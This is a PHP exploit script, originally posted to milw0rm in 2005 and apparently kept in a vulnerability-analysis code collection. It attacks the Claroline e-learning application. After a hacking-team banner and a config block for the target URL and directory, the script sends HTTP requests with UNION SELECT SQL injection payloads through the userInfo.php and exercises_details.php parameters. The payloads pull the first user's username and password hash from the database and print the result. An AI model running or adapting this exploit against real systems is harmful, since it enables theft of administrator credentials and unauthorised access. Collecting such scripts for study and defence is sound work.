lilbool/vuln-code-analysis
0
1<?php
2#############################################################################
3# T r a p - S e t U n d e r g r o u n d H a c k i n g T e a m
4#############################################################################
5# Vulnerable: Claroline E-Learning Application
6#
7# Exploit By : MH_p0rtal
8#
9# Discovered By: Sieg Fried
10#
11#############################################################################
12# Gr33tz To ==> Alpha_programmer , Oil_karchack , Dr_CephaleX , Str0ke
13#
14# And Iranian Hacking & Security Teams :
15# IHS TeaM , alphaST , Shabgard Security Team , Emperor Hacking Team ,
16# Crouz Security Team & Simorgh-ev Security Team
17#############################################################################
18# ___________Config :
19# please replace your address :
20$url = "http:///www.example.com";
21# Please replace your name file ( userInfo.php Or exercises_details.php )
22$file1 = "userInfo.php";
23# please replace your dir address :
24$dirs = "/dir/to/claroline/user/";
25# __________End Config
26#############################################################################
27if ( $file1 == "userInfo.php" ) {
28$merg = $dirs.$file1;
29$fc = fsockopen("$url", 80, $errno, $errstr, 30);
30if (!$fc) {
31
32echo "Can't Connect\n";
33} else {
34 $mh = "GET $merg?uInfo=-1%20UNION%20SELECT%20username,password,0,0,0,0,0%20from%20user%20where%20user_id=1/* HTTP/1.1\r\n";
35 $mh .= "Host: $url\r\n";
36 $mh .= "Connection: Close\r\n\r\n";
37
38 fwrite($fc, $mh);
39 while (!feof($fc)) {
40 echo fgets($fc, 1024);
41 }
42 fclose($fc);
43}
44}
45//-------------------------------------------------------------------------------------------
46if ( $file1 == "exercises_details.php" ) {
47$merg = $dirs.$file1;
48$fc = fsockopen("$url", 80, $errno, $errstr, 30);
49if (!$fc) {
50
51echo "Can't Connect\n";
52} else {
53 $mh = "GET $merg?exo_id=-1/**/UNION/**/SELECT%200,password,username,0,0,0%20from%20user%20where%20user_id=1-- HTTP/1.1\r\n";
54 $mh .= "Host: $url\r\n";
55 $mh .= "Connection: Close\r\n\r\n";
56
57 fwrite($fc, $mh);
58 while (!feof($fc)) {
59 echo fgets($fc, 1024);
60 }
61 fclose($fc);
62}
63}
64?>
65
66// milw0rm.com [2005-06-17]